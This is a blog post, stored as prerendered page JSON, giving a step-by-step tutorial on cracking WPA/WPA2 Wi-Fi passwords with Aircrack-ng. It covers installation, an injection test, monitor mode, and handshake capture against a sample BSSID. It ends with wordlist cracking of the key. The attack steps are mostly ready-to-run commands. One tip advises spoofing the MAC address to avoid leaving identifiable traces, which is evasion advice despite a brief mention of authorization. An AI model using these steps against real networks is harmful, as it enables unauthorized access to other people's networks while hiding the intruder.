[{"data":1,"prerenderedAt":537},["ShallowReactive",2],{"announcement":3,"i-tabler:sun":11,"i-tabler:moon":16,"i-tabler:menu-2":18,"i-tabler:x":20,"i-simple-icons:youtube":22,"i-simple-icons:github":24,"i-simple-icons:x":26,"i-simple-icons:linkedin":28,"i-tabler:arrow-up-right":31,"post-crack-wpa2-wifi-passwords-with-aircrack-ng":33,"post-nav-crack-wpa2-wifi-passwords-with-aircrack-ng":525,"video-crack-wpa2-wifi-passwords-with-aircrack-ng":520,"i-tabler:copy":535},{"startsAt":4,"endsAt":5,"scramble":6,"cta":7,"message":10},"2026-10-13","2026-11-30","Cache Poisoning:",{"href":8,"label":9},"\u002Fcache-poisoning-the-cache-you-cant-purge","Read it","The cache you can't purge.",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":15},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M8 12a4 4 0 1 0 8 0a4 4 0 1 0-8 0m-5 0h1m8-9v1m8 8h1m-9 8v1M5.6 5.6l.7.7m12.1-.7l-.7.7m0 11.4l.7.7m-12.1-.7l-.7.7\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":17},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M12 3h.393a7.5 7.5 0 0 0 7.92 12.446A9 9 0 1 1 12 2.992z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":19},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 6h16M4 12h16M4 18h16\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":21},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M18 6L6 18M6 6l12 12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":23},"\u003Cpath fill=\"currentColor\" d=\"M23.498 6.186a3.02 3.02 0 0 0-2.122-2.136C19.505 3.545 12 3.545 12 3.545s-7.505 0-9.377.505A3.02 3.02 0 0 0 .502 6.186C0 8.07 0 12 0 12s0 3.93.502 5.814a3.02 3.02 0 0 0 2.122 2.136c1.871.505 9.376.505 9.376.505s7.505 0 9.377-.505a3.02 3.02 0 0 0 2.122-2.136C24 15.93 24 12 24 12s0-3.93-.502-5.814M9.545 15.568V8.432L15.818 12z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":25},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":27},"\u003Cpath fill=\"currentColor\" d=\"M14.234 10.162L22.977 0h-2.072l-7.591 8.824L7.251 0H.258l9.168 13.343L.258 24H2.33l8.016-9.318L16.749 24h6.993zm-2.837 3.299l-.929-1.329L3.076 1.56h3.182l5.965 8.532l.929 1.329l7.754 11.09h-3.182z\"\u002F>",{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":29,"hidden":30},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":32},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M17 7L7 17M8 7h9v9\"\u002F>",{"id":34,"title":35,"body":36,"categories":511,"coverImage":514,"date":515,"description":516,"draft":14,"extension":517,"meta":518,"navigation":30,"noindex":14,"path":519,"readingTime":520,"seo":521,"slug":522,"stem":522,"updatedAt":523,"youtubeId":520,"__hash__":524},"blog\u002Fcrack-wpa2-wifi-passwords-with-aircrack-ng.md","Crack WPA2 WiFi Passwords with Aircrack-ng",{"type":37,"value":38,"toc":502},"minimark",[39,42,49,52,60,63,235,242,245,266,269,276,281,284,319,322,340,343,348,351,387,390,393,398,401,438,441,445,479,498],[40,41],"post-media",{},[43,44,45],"p",{},[46,47,48],"strong",{},"Wi-Fi Cracking with Aircrack-ng: Mastering Network Security",[43,50,51],{},"In this comprehensive guide, we will delve into the intricate process of cracking WPA\u002FWPA2 Wi-Fi passwords using Aircrack-ng, a powerful network software suite designed for various network security tasks. This step-by-step tutorial aims not only to impart essential skills for testing your network's security but also to deepen your understanding of the underlying concepts.",[53,54,56,59],"h2",{"id":55},"step-1-installation-of-aircrack-ng",[46,57,58],{},"Step 1:"," Installation of Aircrack-ng",[43,61,62],{},"Begin by installing Aircrack-ng on your Debian-based operating system. This involves a series of meticulous steps to ensure a seamless installation:",[64,65,70],"pre",{"code":66,"language":67,"meta":68,"className":69,"style":68},"# Install necessary dependencies\nsudo apt install build-essential autoconf automake libtool pkg-config libnl-3-dev libnl-genl-3-dev libssl-dev ethtool shtool rfkill zlib1g-dev libpcap-dev libsqlite3-dev libpcre3-dev libhwloc-dev libcmocka-dev hostapd wpasupplicant tcpdump screen iw usbutils\n# Clone the Aircrack-ng repository\ngit clone https:\u002F\u002Fgithub.com\u002Faircrack-ng\u002Faircrack-ng\ncd aircrack-ng\n# Compile and install Aircrack-ng\nautoreconf -i\n.\u002Fconfigure --with-experimental\nmake\nsudo make install\n","bash","","shiki shiki-themes vitesse-dark vitesse-light",[71,72,73,82,165,171,183,193,199,209,218,224],"code",{},[74,75,78],"span",{"class":76,"line":77},"line",1,[74,79,81],{"class":80},"sy60D","# Install necessary dependencies\n",[74,83,85,89,93,96,99,102,105,108,111,114,117,120,123,126,129,132,135,138,141,144,147,150,153,156,159,162],{"class":76,"line":84},2,[74,86,88],{"class":87},"swzfi","sudo",[74,90,92],{"class":91},"sRRDT"," apt",[74,94,95],{"class":91}," install",[74,97,98],{"class":91}," build-essential",[74,100,101],{"class":91}," autoconf",[74,103,104],{"class":91}," automake",[74,106,107],{"class":91}," libtool",[74,109,110],{"class":91}," pkg-config",[74,112,113],{"class":91}," libnl-3-dev",[74,115,116],{"class":91}," libnl-genl-3-dev",[74,118,119],{"class":91}," libssl-dev",[74,121,122],{"class":91}," ethtool",[74,124,125],{"class":91}," shtool",[74,127,128],{"class":91}," rfkill",[74,130,131],{"class":91}," zlib1g-dev",[74,133,134],{"class":91}," libpcap-dev",[74,136,137],{"class":91}," libsqlite3-dev",[74,139,140],{"class":91}," libpcre3-dev",[74,142,143],{"class":91}," libhwloc-dev",[74,145,146],{"class":91}," libcmocka-dev",[74,148,149],{"class":91}," hostapd",[74,151,152],{"class":91}," wpasupplicant",[74,154,155],{"class":91}," tcpdump",[74,157,158],{"class":91}," screen",[74,160,161],{"class":91}," iw",[74,163,164],{"class":91}," usbutils\n",[74,166,168],{"class":76,"line":167},3,[74,169,170],{"class":80},"# Clone the Aircrack-ng repository\n",[74,172,174,177,180],{"class":76,"line":173},4,[74,175,176],{"class":87},"git",[74,178,179],{"class":91}," clone",[74,181,182],{"class":91}," https:\u002F\u002Fgithub.com\u002Faircrack-ng\u002Faircrack-ng\n",[74,184,186,190],{"class":76,"line":185},5,[74,187,189],{"class":188},"s6_DI","cd",[74,191,192],{"class":91}," aircrack-ng\n",[74,194,196],{"class":76,"line":195},6,[74,197,198],{"class":80},"# Compile and install Aircrack-ng\n",[74,200,202,205],{"class":76,"line":201},7,[74,203,204],{"class":87},"autoreconf",[74,206,208],{"class":207},"se4ZP"," -i\n",[74,210,212,215],{"class":76,"line":211},8,[74,213,214],{"class":87},".\u002Fconfigure",[74,216,217],{"class":207}," --with-experimental\n",[74,219,221],{"class":76,"line":220},9,[74,222,223],{"class":87},"make\n",[74,225,227,229,232],{"class":76,"line":226},10,[74,228,88],{"class":87},[74,230,231],{"class":91}," make",[74,233,234],{"class":91}," install\n",[53,236,238,241],{"id":237},"step-2-testing-wireless-device-packet-injection",[46,239,240],{},"Step 2:"," Testing Wireless Device Packet Injection",[43,243,244],{},"Before progressing, it's imperative to confirm that your wireless card supports injection. Execute the following command:",[64,246,248],{"code":247,"language":67,"meta":68,"className":69,"style":68},"# Test injection capability\naireplay-ng --test wlan0\n",[71,249,250,255],{},[74,251,252],{"class":76,"line":77},[74,253,254],{"class":80},"# Test injection capability\n",[74,256,257,260,263],{"class":76,"line":84},[74,258,259],{"class":87},"aireplay-ng",[74,261,262],{"class":207}," --test",[74,264,265],{"class":91}," wlan0\n",[43,267,268],{},"A positive response confirms your system's readiness for the upcoming steps.",[53,270,272,275],{"id":271},"step-3-sniffing-and-cracking",[46,273,274],{},"Step 3:"," Sniffing and Cracking",[43,277,278],{},[46,279,280],{},"Start the wireless interface in monitor mode:",[43,282,283],{},"The first step is to prepare your wireless card for monitoring using airmon-ng. It's crucial to eliminate any potential interference by killing related processes before using the aircrack-ng suite:",[64,285,287],{"code":286,"language":67,"meta":68,"className":69,"style":68},"# Kill interfering processes\nairmon-ng check kill\n# Enable monitor mode\nairmon-ng start wlan0\n",[71,288,289,294,305,310],{},[74,290,291],{"class":76,"line":77},[74,292,293],{"class":80},"# Kill interfering processes\n",[74,295,296,299,302],{"class":76,"line":84},[74,297,298],{"class":87},"airmon-ng",[74,300,301],{"class":91}," check",[74,303,304],{"class":91}," kill\n",[74,306,307],{"class":76,"line":167},[74,308,309],{"class":80},"# Enable monitor mode\n",[74,311,312,314,317],{"class":76,"line":173},[74,313,298],{"class":87},[74,315,316],{"class":91}," start",[74,318,265],{"class":91},[43,320,321],{},"Observe the successful transition of wlan0 into monitor mode. Proceed by using airodump-ng to scan for available networks:",[64,323,325],{"code":324,"language":67,"meta":68,"className":69,"style":68},"# Start airodump-ng\nairodump-ng wlan0mon\n",[71,326,327,332],{},[74,328,329],{"class":76,"line":77},[74,330,331],{"class":80},"# Start airodump-ng\n",[74,333,334,337],{"class":76,"line":84},[74,335,336],{"class":87},"airodump-ng",[74,338,339],{"class":91}," wlan0mon\n",[43,341,342],{},"Identify the target wireless network and make note of its BSSID and channel. The top section of the output displays information about accessible APs, while the bottom part lists connected clients.",[43,344,345],{},[46,346,347],{},"Start airodump-ng to capture initial vectors:",[43,349,350],{},"In a new console session, capture the initial vectors generated by the target and save the results into a file:",[64,352,354],{"code":353,"language":67,"meta":68,"className":69,"style":68},"# Capture initial vectors\nairodump-ng -c 10 --bssid 08:00:BF:E6:31:2E -w output-file mon0\n",[71,355,356,361],{},[74,357,358],{"class":76,"line":77},[74,359,360],{"class":80},"# Capture initial vectors\n",[74,362,363,365,368,372,375,378,381,384],{"class":76,"line":84},[74,364,336],{"class":87},[74,366,367],{"class":207}," -c",[74,369,371],{"class":370},"sUQhE"," 10",[74,373,374],{"class":207}," --bssid",[74,376,377],{"class":91}," 08:00:BF:E6:31:2E",[74,379,380],{"class":207}," -w",[74,382,383],{"class":91}," output-file",[74,385,386],{"class":91}," mon0\n",[43,388,389],{},"Specify the channel with -c 10, the BSSID with --bssid 08:00:BF:E6:31:2E, the output file with -w output-file, and the interface name with mon0.",[43,391,392],{},"Upon execution, various files will be generated.",[43,394,395],{},[46,396,397],{},"Run aircrack-ng to obtain the WPA key:",[43,399,400],{},"At this stage, extract the WPA key from the gathered initial vectors. You'll need a wordlist for the attack. If the network password isn't in the wordfile, the password won't be cracked. Most WPA\u002FWPA2 routers have strong 12-character random passwords, often unchanged by users. If you're targeting such passwords, use WPA-length password lists.",[64,402,404],{"code":403,"language":67,"meta":68,"className":69,"style":68},"# Run aircrack-ng\naircrack-ng -a2 -b 08:00:BF:E6:31:2E -w wordlist.txt output*.cap\n",[71,405,406,411],{},[74,407,408],{"class":76,"line":77},[74,409,410],{"class":80},"# Run aircrack-ng\n",[74,412,413,416,419,422,424,426,429,432,435],{"class":76,"line":84},[74,414,415],{"class":87},"aircrack-ng",[74,417,418],{"class":207}," -a2",[74,420,421],{"class":207}," -b",[74,423,377],{"class":91},[74,425,380],{"class":207},[74,427,428],{"class":91}," wordlist.txt",[74,430,431],{"class":91}," output",[74,433,434],{"class":207},"*",[74,436,437],{"class":91},".cap\n",[43,439,440],{},"Specify the attack mode with -a2, your wordlist with -w wordlist.txt, and select all output files with .cap extension.",[53,442,444],{"id":443},"wi-fi-cracking-tips","Wi-Fi Cracking Tips",[446,447,448,455,461,467,473],"ul",{},[449,450,451,454],"li",{},[46,452,453],{},"Optimize Monitor Mode:"," Ensure your wireless card is optimized for monitor mode for successful packet sniffing and injection.",[449,456,457,460],{},[46,458,459],{},"Consider Signal Strength:"," Pay attention to signal strength when selecting a target network for more reliable attacks.",[449,462,463,466],{},[46,464,465],{},"Wordlist Selection:"," Success in WPA key cracking depends on a quality wordlist. Use comprehensive and regularly updated wordlists for better results.",[449,468,469,472],{},[46,470,471],{},"Legal and Ethical Testing:"," Obtain proper authorization before any network security testing to stay within legal and ethical boundaries.",[449,474,475,478],{},[46,476,477],{},"MAC Address Spoofing:"," Spoof your MAC address before Wi-Fi cracking to avoid leaving identifiable fingerprints on the network.",[43,480,481,484,495],{},[46,482,483],{},"I trust this Aircrack-ng tutorial has been both informative and engaging! If you have any queries or seek further clarification on the intricacies of Wi-Fi cracking, feel free to drop your questions in the comments section below. Additionally, you can reach out to me on Twitter",[485,486,492],"a",{"href":487,"rel":488,"target":491},"https:\u002F\u002Ftwitter.com\u002Famrelsagaei?utm_source=amrelsagaei.com&utm_medium=referral",[489,490],"noopener","noreferrer","_blank",[46,493,494],{},"@amrelsagaei",[46,496,497],{},".",[499,500,501],"style",{},"html pre.shiki code .sy60D, html code.shiki .sy60D{--shiki-default:#758575DD;--shiki-light:#A0ADA0}html pre.shiki code .swzfi, html code.shiki .swzfi{--shiki-default:#80A665;--shiki-light:#59873A}html pre.shiki code .sRRDT, html code.shiki .sRRDT{--shiki-default:#C98A7D;--shiki-light:#B56959}html pre.shiki code .s6_DI, html code.shiki .s6_DI{--shiki-default:#B8A965;--shiki-light:#998418}html pre.shiki code .se4ZP, html code.shiki .se4ZP{--shiki-default:#C99076;--shiki-light:#A65E2B}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html pre.shiki code .sUQhE, html code.shiki .sUQhE{--shiki-default:#4C9A91;--shiki-light:#2F798A}",{"title":68,"searchDepth":167,"depth":167,"links":503},[504,506,508,510],{"id":55,"depth":84,"text":505},"Step 1: Installation of Aircrack-ng",{"id":237,"depth":84,"text":507},"Step 2: Testing Wireless Device Packet Injection",{"id":271,"depth":84,"text":509},"Step 3: Sniffing and Cracking",{"id":443,"depth":84,"text":444},[512,513],"Linux","Networking","\u002Fimages\u002Fblog\u002Fcrack-wpa2-wifi-passwords-with-aircrack-ng\u002Faircrack.jpg","2024-01-01","Cracking WPA\u002FWPA2 Wi-Fi passwords with Aircrack-ng: verifying packet injection, capturing the handshake, and recovering the key, step by step.","md",{},"\u002Fcrack-wpa2-wifi-passwords-with-aircrack-ng",null,{"title":35,"description":516},"crack-wpa2-wifi-passwords-with-aircrack-ng","2025-02-05","V4y3477LvAmHZnfD3AVfkLeGpeCvcQbeJDfZKhkKDZY",{"older":526,"newer":530,"total":534},{"slug":527,"title":528,"date":515,"position":529},"how-to-anonymize-all-network-traffic-with-torghost","How to anonymize all network traffic with TorGhost",65,{"slug":531,"title":532,"date":515,"position":533},"control-network-traffic-with-evil-limiter","Control Network Traffic with Evil Limiter!",63,68,{"left":12,"top":12,"width":13,"height":13,"rotate":12,"vFlip":14,"hFlip":14,"body":536},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M7 9.667A2.667 2.667 0 0 1 9.667 7h8.666A2.667 2.667 0 0 1 21 9.667v8.666A2.667 2.667 0 0 1 18.333 21H9.667A2.667 2.667 0 0 1 7 18.333z\"\u002F>\u003Cpath d=\"M4.012 16.737A2 2 0 0 1 3 15V5c0-1.1.9-2 2-2h10c.75 0 1.158.385 1.5 1\"\u002F>\u003C\u002Fg>",1791941259831]